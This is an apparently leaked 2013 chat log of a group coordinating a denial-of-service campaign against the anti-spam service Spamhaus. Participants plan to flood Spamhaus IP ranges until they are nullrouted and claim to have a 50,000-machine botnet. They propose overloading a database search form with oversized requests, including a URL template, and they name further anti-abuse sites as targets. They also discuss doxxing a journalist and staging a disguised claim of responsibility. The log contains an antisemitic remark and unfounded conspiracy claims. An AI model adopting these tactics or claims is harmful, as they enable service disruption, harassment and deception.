Antitheist: lol anon-amplification yeah [19.03.2013 14:47:26] Yuri: spamhaus says in twitter that softpedia new is false [19.03.2013 14:47:29] Yuri: :))) [19.03.2013 14:47:40] Yuri:http://www.spamhaus.org/news/article/693/softpedia-publish-misleading-story-of-anonymous-attack-on-spamhaus [19.03.2013 14:47:41] Antitheist: what twitter account Yuri? [19.03.2013 14:47:43] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: according to spamhaus, its obviously edataking [19.03.2013 14:47:47] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: as we're all edataking [19.03.2013 14:47:53] Yuri: just put in search "spamhaus" [19.03.2013 14:47:56] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: each and every one of us is a sockpuppet for edataking [19.03.2013 14:47:57] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol [19.03.2013 14:48:10] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: except for me, i am the russian business network [19.03.2013 14:48:13] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: so far for their intel [19.03.2013 14:48:14] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol [19.03.2013 14:51:32] Yuri: http://stophaus.com/register.php?s=1fc05ded763dd04573e4483fa2522c4e [19.03.2013 14:51:38] Yuri: registration page fixed [19.03.2013 14:51:54] narko: 14:47 - Jack: If you sue their UK company they'll spend their £20k on legal fees and then declare bankruptcy 14:47 - Jack: Then give their assets back to their holding company 14:47 - Jack: If you sue their holding company, it's done nothing wrong and the case gets thrown out [19.03.2013 14:52:24] Yuri:http://www.spamhaus.org/news/article/693/softpedia-publish-misleading-story-of-anonymous-attack-on-spamhaus [19.03.2013 14:52:40] Yuri: they wrote a new that russian malware gang ddos them [19.03.2013 14:53:00] narko: lol [19.03.2013 14:53:15] narko: russian malware gang.. [19.03.2013 14:53:20] narko: i dont know where they got this idea from [19.03.2013 14:53:36] Antitheist: well narko you a russian [19.03.2013 14:53:41] narko: no i am not [19.03.2013 14:53:48] Antitheist: so what are you? [19.03.2013 14:53:51] Yuri: heh... 2013-03-19 11:42:30 GMT, by Quentin Jenkins [19.03.2013 14:53:53] narko: europen [19.03.2013 14:53:54] Yuri: new one person [19.03.2013 14:54:12] narko: I think now it's best if I will go after every IP in their /27 [19.03.2013 14:54:16] Antitheist: european in terms of spamhaus is russian malware criminal :) [19.03.2013 14:54:20] narko: and cause a nullroute on every ip ;) [19.03.2013 14:56:56] narko: http://www.actionfraud.police.uk/ [19.03.2013 14:57:01] narko: everyone file a report on this site [19.03.2013 14:57:23] narko: i am going to speak on their live chat [19.03.2013 14:57:34] narko: and ask what they can do.. [19.03.2013 14:58:16] Yuri: somebody need to be UK citizen i think [19.03.2013 14:58:22] narko: oh [19.03.2013 14:58:35] narko: my friend can do it but he is not listed in spamhaus.. [19.03.2013 14:58:41] narko: he is not a victim but he live in UK [19.03.2013 14:58:51] Yuri: he can represend you if need. [19.03.2013 14:58:54] narko: i will ask him [19.03.2013 14:58:55] Yuri: it's normal legal way [19.03.2013 15:08:47] eDataKing: Softpedia is so retarded. They said Anonymous was attacking SH [19.03.2013 15:09:17] narko: i think because anonymous wrote it on their twitter [19.03.2013 15:09:22] eDataKing: leave that alone or advise of error (just that they are wrong, but not what is correct) [19.03.2013 15:09:33] eDataKing: they did not [19.03.2013 15:09:37] Yuri: a lot of spam in twitter [19.03.2013 15:09:48] eDataKing: ok, votes.. [19.03.2013 15:09:51] Yuri: we need PR manager to write more information for much people with twitter. [19.03.2013 15:10:05] eDataKing: 1. Let them think Anons were behind it and do not dispute [19.03.2013 15:10:05] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: can't sign up for twitter as i don't have any working email lol [19.03.2013 15:10:21] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: edataking: its allready all over the press that its not anons lol. [19.03.2013 15:10:22] Antitheist: I know Mohit from thehackernews, if it gets posted there it will soon be viral [19.03.2013 15:10:26] eDataKing: or 2. Remind them that Anons are everyone and Anonymous as a group did not orchestrate it [19.03.2013 15:10:30] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: at least in .nl its quite clear that its the republic cyberbunker and others [19.03.2013 15:10:30] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: haha [19.03.2013 15:10:58] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: that anon also has some ehm... stuff to 'arrange' with spamhaus, is a different story [19.03.2013 15:11:19] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: *points out that over half of my facebook friends have the masks anyway* [19.03.2013 15:11:28] eDataKing: Anonymous name gets major media [19.03.2013 15:11:33] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and that i'm still officially the PR guy for anonymous germany [19.03.2013 15:11:35] Yuri: I gave to narko 3 new servers. [19.03.2013 15:11:43] eDataKing: we can dispell on live satelite on Alex Jones if wanted [19.03.2013 15:11:52] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: alex jones works for disney [19.03.2013 15:11:58] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: i doubt that would be 'neutral ground' [19.03.2013 15:11:58] eDataKing: lol, does he? [19.03.2013 15:12:00] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: yep [19.03.2013 15:12:02] Yuri: Sven, pleae do much PR on twitter with spamhaus tags. [19.03.2013 15:12:09] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: the company he gets paid by is 100% owned by disney [19.03.2013 15:12:12] eDataKing: that's hilarious [19.03.2013 15:12:28] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: paid troll of the zionists, to deflect public opinion [19.03.2013 15:12:30] eDataKing: but he has an audience and i is the right audience [19.03.2013 15:12:37] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: thats why nobody takes him serious [19.03.2013 15:12:53] narko: yes i am currently configuring the servers and then we will make down their site again :) their site is on one of these ips in their xs4all /27 we just need to get every 32 ip nullrouted and then it will be down [19.03.2013 15:12:56] eDataKing: well, he is crazy but so is Wags and he has an audience as well [19.03.2013 15:13:05] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: yuri: hmm. thing is, i cannot sign up.. [19.03.2013 15:13:11] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: oh wait i still have anus@xs4all.nl :P [19.03.2013 15:13:12] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: could use that one haha [19.03.2013 15:13:14] eDataKing: We don't want to be crazy, we want the exposure [19.03.2013 15:14:18] Yuri: i check emails [19.03.2013 15:14:36] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: y my name don't fit twitter.. [19.03.2013 15:14:40] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: HRH Sven Olaf Prince [19.03.2013 15:14:46] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: no space for of cyberbunker-kamphuis, mp [19.03.2013 15:14:48] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: :P [19.03.2013 15:14:52] narko: HRH? [19.03.2013 15:19:55] Yuri: yah. Sven, we need your help, to PR in twitter [19.03.2013 15:20:25] Yuri: post some messages to spamhaus and anonymouse that it's not russian cybercriminals, that's the hell for spamhaus is comming up [19.03.2013 15:20:33] Yuri: that's only beggining. [19.03.2013 15:21:17] Yuri: we need somehow to PR the tests we posted on forum stophaus and webhostingtalk that this company is not valid anymore [19.03.2013 15:21:22] Antitheist: we have to make cloudflare drop them [19.03.2013 15:21:40] Yuri: right now there is PR but no any new what to show for peopl [19.03.2013 15:21:44] Antitheist: one idea can be putting all narko's pharmacy sites behind CF [19.03.2013 15:21:47] Yuri: i think spamhaus afraid of it [19.03.2013 15:22:01] Antitheist: which will result in SBLs and later bad relations between SH/CF [19.03.2013 15:22:32] Antitheist: get your snow shoes out of the closet and put them on CF :) [19.03.2013 15:23:39] Antitheist:http://www.spamhaus.org/rokso/evidence/ROK9517/andrew-stephens-mail-mascot/main-info [19.03.2013 15:23:45] Antitheist: lol eDataKing nice wigs [19.03.2013 15:24:42] Yuri: afk 1 hour [19.03.2013 15:29:29] eDataKing: ok, so we are going to take claim via The Register [19.03.2013 15:29:38] eDataKing: no details, just claim [19.03.2013 15:32:48] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: Your account (@tprcb3rob) is currently suspended. For more information, please visit Suspended Accounts. [19.03.2013 15:32:52] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: that went fast :P [19.03.2013 15:32:57] narko: whatfr? [19.03.2013 15:33:00] narko: why suspended? [19.03.2013 15:33:01] narko: (worry) [19.03.2013 15:33:12] Yuri: wait it was woth me also [19.03.2013 15:33:13] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: time to get rid of that blackmailing bunch of dusty nerds at @spamhaus [19.03.2013 15:33:17] Yuri: click unsaspend [19.03.2013 15:33:26] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: there is no 'unsuspend' [19.03.2013 15:33:27] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: :P [19.03.2013 15:33:34] Yuri: don't add too much post per time [19.03.2013 15:33:36] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: already filed the unsuspend form thingy [19.03.2013 15:33:43] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: well it was -1- post :P [19.03.2013 15:33:48] eDataKing: because you are now experiencing the exact reason I have been so diligent for years [19.03.2013 15:33:54] Yuri: hmmm [19.03.2013 15:33:55] eDataKing: they think they run the whole web [19.03.2013 15:34:00] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and why the hell bother with that crap anyway, if they can't get their shit to work, i'll just post on facebook haha [19.03.2013 15:34:04] eDataKing: and they have a way of getting some things done [19.03.2013 15:34:15] eDataKing: they got 4 gmail accts suspended of mine [19.03.2013 15:34:43] eDataKing: 1 with a year of messages archived. (nothing too personal because it was a throw-away though) [19.03.2013 15:40:12] narko: i need to go for short time [19.03.2013 15:40:12] narko: 2 hours [19.03.2013 15:40:15] narko: brb [19.03.2013 15:47:37] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP:https://www.facebook.com/cb3rob/posts/559297757434600?notif_t=like [19.03.2013 15:48:27] Yuri: i do retwitt [19.03.2013 15:49:52] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: k [19.03.2013 16:27:09] Antitheist: Quentin Jenkins...did we dox him? [19.03.2013 16:27:58] Antitheist: im sure he is more than just a news posting clown [19.03.2013 16:28:29] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: might as well set up a stophaus anon operation haha [19.03.2013 16:39:19] eDataKing: a claim needs to be made that includes information that only us and SH would know and that can have a cover story for any bad people with questions A call to Alex Jones may be what is needed using AV Voice Changer and ready to answer basic questions. [19.03.2013 16:39:42] eDataKing: There has to be 1. Proof and 2. An out [19.03.2013 16:39:47] eDataKing: That is the tricky part [19.03.2013 16:41:40] eDataKing: Adam from Adam vs The Man starts at 11 (30 mins) [19.03.2013 16:41:43] eDataKing: it's a call in [19.03.2013 16:42:10] eDataKing: what can we give that takes claim and leaves an out [19.03.2013 16:43:20] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: their root password? lol [19.03.2013 16:43:22] eDataKing: no suggestions? [19.03.2013 16:43:32] eDataKing: well that would work [19.03.2013 16:43:41] eDataKing: send it via IRC [19.03.2013 16:44:01] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: *grin* [19.03.2013 16:45:25] eDataKing: it'll be short and sweet, "A Russian gang was not behind the DoS, Andrew is not STOPhaus, and STOPhaus is not made up of fake identities. Spamhaus is, and has always been liars and if they deny STOPhaus shut them down, ask them if their root pass was _______" [19.03.2013 16:46:00] eDataKing: but that isn't good enough for the public [19.03.2013 16:46:08] eDataKing: because SH will claim it was not correct [19.03.2013 16:46:10] eDataKing: to save face [19.03.2013 16:47:10] eDataKing: 15 mins til show time... [19.03.2013 16:47:17] eDataKing: what do we say? [19.03.2013 17:50:04] narko: im back [19.03.2013 17:50:25] narko: the nameservers for stophaus need to be changed [19.03.2013 17:51:04] narko: spamhaus SBLed my site and my host will terminate me unless spamhaus tells them that it's ok [19.03.2013 17:51:08] narko: fucking internet police [19.03.2013 17:52:57] eDataKing: ok, what are we changing them to? [19.03.2013 17:53:40] narko: i will set up dns servers on my home connection [19.03.2013 17:53:41] narko: lol [19.03.2013 17:53:45] narko: i dont think my isp gives a shit [19.03.2013 17:53:48] narko: i'm alraedy in PBL [19.03.2013 17:53:56] eDataKing: lol, as long as you are safe [19.03.2013 17:53:59] narko: what does it matter if i'm in SBL? :P [19.03.2013 17:54:04] narko: well.. as long as they won't ddos me [19.03.2013 17:54:05] eDataKing: ok, then it should be all good [19.03.2013 17:54:06] narko: I have a static ip [19.03.2013 17:54:18] eDataKing: what about your upstream? [19.03.2013 17:54:50] narko: I want to buy a /24 and host this just to fuck spamhaus [19.03.2013 17:54:57] narko: anyone selling /24 :P i pay €200 [19.03.2013 17:55:34] narko: i cannot believe that my host is telling me i need to leave for a fake SBL listing that is nto even hosted at their network [19.03.2013 17:55:38] Yuri: they will list all network at once and put upsteam [19.03.2013 17:55:39] narko: why do they listen to spamhaus..? [19.03.2013 17:55:44] Yuri: small networks dont save [19.03.2013 17:55:54] Yuri: they are rogues as well [19.03.2013 17:56:23] eDataKing: ok [19.03.2013 17:56:43] eDataKing: sometimes, Road Runner did once [19.03.2013 17:56:46] narko: ok I am setting up some new dns ;) [19.03.2013 17:56:53] eDataKing: but you are in a better area for that [19.03.2013 17:57:01] narko: I will install BIND to my cellphone [19.03.2013 17:57:03] narko: and use 3G network :)) [19.03.2013 17:58:04] narko: yuri supplied yandex dns [19.03.2013 17:58:07] eDataKing: ok [19.03.2013 17:58:17] Yuri: Первичный DNS-сервер: dns1.yandex.net Вторичный DNS-сервер: dns2.yandex.net [19.03.2013 17:58:38] eDataKing: registrar changes commencing [19.03.2013 17:59:05] eDataKing: oh, I need that translated [19.03.2013 18:01:02] eDataKing: nvm [19.03.2013 18:01:05] eDataKing: got it [19.03.2013 18:04:24] Yuri: to chane DNS to yandex.net we need to write new DNS to registrator [19.03.2013 18:04:44] Yuri: and only then we could be able add A type record [19.03.2013 18:05:08] Yuri: we can try to use some other free and good DNSs [19.03.2013 18:06:00] narko: I can host dns [19.03.2013 18:06:06] narko: on my cell phone [19.03.2013 18:06:21] narko: if I keep it by my window it will have 100% connectin [19.03.2013 18:06:23] narko: :P [19.03.2013 18:13:19] eDataKing: yes, is there an IP to point to? [19.03.2013 18:13:30] narko: it's ok now you are using yandex [19.03.2013 18:13:54] eDataKing: ok [19.03.2013 18:18:44] simomchen: spamhaus is not working in China , lol [19.03.2013 18:19:09] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: \o/ [19.03.2013 18:20:02] simomchen: how much they send to cloudflare for is ddos case ? [19.03.2013 18:20:18] Antitheist: depends on traffic [19.03.2013 18:21:16] eDataKing: so it costs for band? [19.03.2013 18:21:28] simomchen: let me make a CC to them in China [19.03.2013 18:21:35] eDataKing: then this will kill them in the end [19.03.2013 18:21:49] Antitheist: https://www.cloudflare.com/business [19.03.2013 18:22:10] Yuri: stophaus.com moved to new DNS. [19.03.2013 18:22:16] simomchen: I brought 50K adsl Broilers just now [19.03.2013 18:22:48] eDataKing: Then their DNS is a ticking timebomb dependent on public support. They don't have a lot of that left [19.03.2013 18:23:46] Yuri: 50k of what? [19.03.2013 18:23:52] Antitheist: DNS of stophaus should be hosted on cloudflare imho [19.03.2013 18:24:13] Antitheist: they will be afraid to list it lol [19.03.2013 18:24:20] simomchen: 50000 ADSL broilers zombies , hehe [19.03.2013 18:24:23] Yuri: cloudflare will kick off [19.03.2013 18:24:27] Yuri: oohh.. shit. [19.03.2013 18:24:48] Yuri: we need a plan how to fight :) [19.03.2013 18:25:14] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: have andrew call the ico.. [19.03.2013 18:25:15] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: :P [19.03.2013 18:25:43] eDataKing: lol, I don't know if it is a good timing for that ;) [19.03.2013 18:25:53] eDataKing: but there will be a good time in the near future [19.03.2013 18:25:54] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: its always a good timing to call the ico :P [19.03.2013 18:25:54] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol [19.03.2013 18:26:02] Antitheist: we need bots that will do large POST requests on the search form of ROKSO [19.03.2013 18:26:06] eDataKing: lol, i hate "suits" [19.03.2013 18:26:09] Antitheist: that will stress the shit out of mysql [19.03.2013 18:26:23] eDataKing: yep [19.03.2013 18:27:02] simomchen: Antitheist: <<< we need bots that will do large POST requests on the search form of ROKSOyes, that's CC attack I said just now. ROKSO is not big enought , I'm CC their http://www.spamhaus.org/sbl/latest/ currently [19.03.2013 18:27:11] simomchen: do not know cloudflare can handle that [19.03.2013 18:27:24] Antitheist: SBL are not in mysql [19.03.2013 18:27:53] Antitheist: there is no search on the DB when you request them [19.03.2013 18:28:06] eDataKing: true [19.03.2013 18:28:12] Antitheist: but a search form, any of them, must have at least 1 SELECT statement [19.03.2013 18:28:15] simomchen: okay, http://www.spamhaus.org/rokso/ how about this page ? [19.03.2013 18:28:23] Antitheist: yes, see the search form [19.03.2013 18:28:27] eDataKing: RBLs are on a Logistics server at abuseat.org [19.03.2013 18:28:29] Antitheist: you need to post long random shit there [19.03.2013 18:28:34] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: SBL157600 5.157.0.0/22 webexxpurts.com 19-Mar 13:53 GMT Spammer hosting (escalation) SBL157599 5.153.238.0/24 webexxpurts.com 19-Mar 13:53 GMT Spammer hosting (escalation) [19.03.2013 18:28:36] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol [19.03.2013 18:28:41] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: wasn't he in here the other day :P [19.03.2013 18:28:46] eDataKing: at least the cbl is [19.03.2013 18:28:54] eDataKing: yes [19.03.2013 18:28:59] eDataKing: He left? [19.03.2013 18:29:05] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: dunno [19.03.2013 18:29:05] simomchen: okay, let me make a 'search' [19.03.2013 18:29:08] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: changed names? [19.03.2013 18:29:12] eDataKing: maybe [19.03.2013 18:29:21] eDataKing: that was who I thought Darwin was [19.03.2013 18:29:47] eDataKing: like he changed his name in the middle of a conversation [19.03.2013 18:29:54] eDataKing: and Darwin picked up the chat [19.03.2013 18:29:54] Antitheist: oh good news, its available in GET as well [19.03.2013 18:30:01] Antitheist: http://www.spamhaus.org/rokso/search/?evidence=LONGSHITGOESHERE [19.03.2013 18:30:40] eDataKing: They are desperate to take down the content though [19.03.2013 18:30:55] eDataKing: I knew they would be scared to show their faces to public scrutiny [19.03.2013 18:36:03] Yuri: SBL179370 66.192.253.42/32 twtelecom.net 19-Mar 15:15 GMT Suavemente/SplitInfinity/Innova Direct : Feed to Jelly Digital (AS4323 >>> AS33431) SBL179369 4.53.122.98/32 level3.net 19-Mar 15:03 GMT Suavemente/SplitInfinity/Innova Direct : Feed to Critical Data Network, Inc. (AS3356 >>> AS53318) spamhaus started to fuck hardly everywhere. they are angry. [19.03.2013 18:37:39] Antitheist: no mercy anymore, everyone who they scaped out of stophaus members gets the entire /24 listed in ROKSO :) [19.03.2013 18:37:40] simomchen: cloudflare service them , we are angry too [19.03.2013 18:40:35] simomchen: but if the ddos keeping , I think spamhaus would go bankrupt [19.03.2013 18:40:52] narko: they won't go bankrupt [19.03.2013 18:40:55] narko: he will just buy a smaller boat [19.03.2013 18:41:00] simomchen: because cloudflare must charge tons of money form them [19.03.2013 18:41:34] simomchen: what they can do in that boat ? if they do not pay to cloudflare , they will down again [19.03.2013 18:41:48] narko: cloudflare only cost $200 per month [19.03.2013 18:41:52] eDataKing: he claims he sold the boat [19.03.2013 18:41:53] narko: for business plan [19.03.2013 18:42:01] eDataKing: but there has never been confirmation of that [19.03.2013 18:42:31] eDataKing: $200 can't pay for the band, they'll nix them in that case [19.03.2013 18:42:34] eDataKing: costs them money [19.03.2013 18:42:46] simomchen: are you sure cloudflare only charge them $200 , Narko ? [19.03.2013 18:42:54] narko: they have three plans [19.03.2013 18:43:02] narko: free - business - enterprise [19.03.2013 18:43:04] narko: business = $200 [19.03.2013 18:43:07] narko: enterprise = $2000 [19.03.2013 18:43:10] eDataKing: they'd need enterprise [19.03.2013 18:43:10] narko: i am sure they did not pay 2000 [19.03.2013 18:43:16] eDataKing: and that would even be stressed [19.03.2013 18:43:22] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: yep [19.03.2013 18:43:31] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: its not like normal enterprises get ddossed lol [19.03.2013 18:43:35] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: well not that often anyway [19.03.2013 18:43:36] simomchen: maybe spamhaus is using their customize plan [19.03.2013 18:43:43] narko: cloudflare hosted lulzsec on a free plan [19.03.2013 18:43:46] eDataKing: but they have separated their assets so much that they are vulnerable to being hit in multiple places [19.03.2013 18:43:47] narko: theymust have got very big ddoses [19.03.2013 18:43:59] eDataKing: they can't afford to protect all their "locations" [19.03.2013 18:45:57] narko: now spamhaus are treating me as a dirty isp and not even replying my removal requests [19.03.2013 18:46:51] eDataKing: Who is chargen? [19.03.2013 18:47:12] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: edwin [19.03.2013 18:47:14] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: aka serial [19.03.2013 18:47:19] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: aka nl0fox [19.03.2013 18:48:35] eDataKing: good peeps? [19.03.2013 18:48:43] eDataKing: how about? andrey ak-1**@yandex.ru [19.03.2013 18:48:53] eDataKing: I see the yandex [19.03.2013 18:49:28] eDataKing: so, Edwin is good then? [19.03.2013 18:49:33] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: yep [19.03.2013 18:50:06] eDataKing: How about: doopz spam*(at)sernate.com [19.03.2013 18:50:45] Antitheist: narko i dont think we can compare spamhaus to lulzsec [19.03.2013 18:50:47] Yuri: ak-1 is ok. it's our jurist email [19.03.2013 18:50:48] Antitheist: its a PR7 site [19.03.2013 18:51:33] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lulzsec was ryan cleary and his new found 'gray hat buddies' of mi6 [19.03.2013 18:51:45] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: after he gave intel on anonymous to the uk police [19.03.2013 18:51:54] eDataKing: yup, got Sabo right? [19.03.2013 18:52:03] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: so de-facto lulzsec kinda was the hacking department of the uk secret service all along [19.03.2013 18:52:11] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: with that guy to link them to 'anon' in the press [19.03.2013 18:52:14] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: despite anon hating his butt [19.03.2013 18:52:22] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: they did some funny things tho [19.03.2013 18:52:32] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: but in the end... all ryan was ever good for was linking it to anon [19.03.2013 18:52:35] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: so they dropped him in the end [19.03.2013 18:52:42] eDataKing: we are not going against anons by using the We are legion line right? [19.03.2013 18:52:47] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: its not like ryan actually was capable of hacking anything [19.03.2013 18:52:48] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol [19.03.2013 18:52:54] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: nah :P [19.03.2013 18:52:58] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: not with me haha :P [19.03.2013 18:53:05] eDataKing: didn't think so [19.03.2013 18:53:37] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: except for some mossad infiltrants that seem to somehow have scraped o-lines on the irc servers (basically by providing new ones ;) [19.03.2013 18:53:46] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: most of them know exactly who i am haha [19.03.2013 18:54:02] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: well those mossad fuckers know too ofcourse :P but they no like me :P [19.03.2013 18:54:10] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and the way in which we solve the jew problem [19.03.2013 18:54:11] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol [19.03.2013 18:55:24] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: mercedesses on diesel don't just accidentially blow up in your face a few hours before a pre-announced trip to your attorneys in the piratebay case after all... and the starter engine on your second one doesn't accidentially disconnect itself at the same time.. [19.03.2013 18:55:55] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: so yeah they know pretty well who i am... but anon ofcourse is not a homogenous group. there are multiple players on the field as in terms of infiltration [19.03.2013 18:57:02] eDataKing: I like to say that Anons are everyone [19.03.2013 18:57:17] eDataKing: because anyone can be an anon without any rgeistration process [19.03.2013 18:57:20] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: including steve linford haha [19.03.2013 18:57:24] eDataKing: lol [19.03.2013 18:57:28] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: just that his opinion isn't democratically relevant haah [19.03.2013 19:02:27] Yuri: For SBLs spamhaus use [19.03.2013 19:02:27] Yuri: <<< http://stopforumspam.com/ https://www.projecthoneypot.org/ - этот точно https://zeustracker.abuse.ch/ https://spyeyetracker.abuse.ch/those sites 100% [19.03.2013 19:02:39] narko: ok let's make these down ;) [19.03.2013 19:02:46] narko: first i'm trying their amazon dns [19.03.2013 19:04:23] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol that stopforumspam one... another clear case of privacy laws. [19.03.2013 19:04:31] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: ips and email addresses for everyone to see. [19.03.2013 19:04:33] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: :P [19.03.2013 19:06:26] narko: well stopforumspam isnt so bad [19.03.2013 19:06:28] narko: they list spammers [19.03.2013 19:06:32] narko: and only the ip [19.03.2013 19:07:04] Yuri: i don't use it and i don't have spam on forums. [19.03.2013 19:07:08] Yuri: all that shit for lammers. [19.03.2013 19:07:34] narko: i just block everyone with "Man" in biography and i have no spammers now ;) [19.03.2013 19:12:05] eDataKing: I have never been against stopforumspam either [19.03.2013 19:12:37] eDataKing: They have never hosted a libel site, coerced ISPs to do their bidding, or violated free speech and expression rights [19.03.2013 19:46:42] eDataKing: Spamhaus Under Attack, POS Pitfalls, 5 Rules & Webinars [UPDATE: Spamhaus is back online.] The lead article in this week's Transactional Email News was supposed to reference a recent article on the Spamhaus blog about the organization's recently announced spam traps program and issues with transactional email. Yet as of press time here at the Transactional Email News world headquarters, the article isn't available because the entire Spamhaus site is under a massive distributed denial of service (dDOS) attack. For any senders who might be adversely affected by the unavailability of Spamhaus blocking lists and services, Laura Atkins at the indispensable Word to the Wise blog has some helpful suggestions. Good luck to the Spamhaus team in getting back up and running soon. [19.03.2013 19:47:00] eDataKing: Posted on March 18, 2013 by John Pinson [19.03.2013 20:00:39] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: hmm my sales droid is currently trying to buy global transit again lol [19.03.2013 20:00:59] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: he.netunderstands the situation... but is a bit hesitative :P [19.03.2013 20:01:04] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: at least they know whats going on haha [19.03.2013 20:13:06] eDataKing: lol [19.03.2013 20:13:13] eDataKing: everyone knows what is going on [19.03.2013 20:13:19] eDataKing: have you seen twitter lately [19.03.2013 20:14:24] eDataKing: It was falsely reported as an Anonymous hit by Softpedia and that was carried across the Twittershpere [19.03.2013 20:15:07] eDataKing: Then Spamhaus published a Official Statement saying it was a Russian Crime Gang (sound familiar - see 2010 wikileaks) [19.03.2013 20:15:31] eDataKing: Now they are cleaning up the error by publishing another error throughout the web [19.03.2013 20:15:57] eDataKing: and I am wondering if we should let them keep wondering or not. I love the subtle approach in this one. [19.03.2013 20:16:10] eDataKing: Let them "figure it out" without any evidence to support it. [19.03.2013 20:16:15] eDataKing: Kind of like they do ROKSO files [19.03.2013 20:20:10] eDataKing:http://top.robtex.com/wordtothewise.com.html#records [19.03.2013 20:20:18] eDataKing: Word to the Wise is using he.net [19.03.2013 20:21:03] eDataKing: Laura's blog may be more important than Spamhaus to Spamhaus users. [19.03.2013 20:21:20] Antitheist: 5 websites use this address. (examples:dkimcore.org llysmenai.org samspade.org tupid.org) [19.03.2013 20:21:41] eDataKing: Sam Spade [19.03.2013 20:21:50] eDataKing: now that is a name I recognize [19.03.2013 20:22:22] eDataKing: User-Agent: Sam Spade 1.14 HTTP/1.1 200 [19.03.2013 20:22:43] eDataKing: looks like a tool they use [19.03.2013 20:22:54] Antitheist: just a wget [19.03.2013 20:22:58] Antitheist: modified banner [19.03.2013 20:23:10] eDataKing: gotcha [19.03.2013 20:23:22] eDataKing: are all those properties of the Atkins family? [19.03.2013 20:23:23] Antitheist: they can be sued for that btw [19.03.2013 20:23:25] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: well its all over my facebook profile [19.03.2013 20:23:30] Antitheist: its a clear violation of GPL [19.03.2013 20:23:38] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: so by the time they figure out what facebook is, like, most of the press already did [19.03.2013 20:23:43] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: well. [19.03.2013 20:24:01] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lets just say that in the webwereld article, steve linfords bullcrap was placed all the way at the bottom for a reason :P 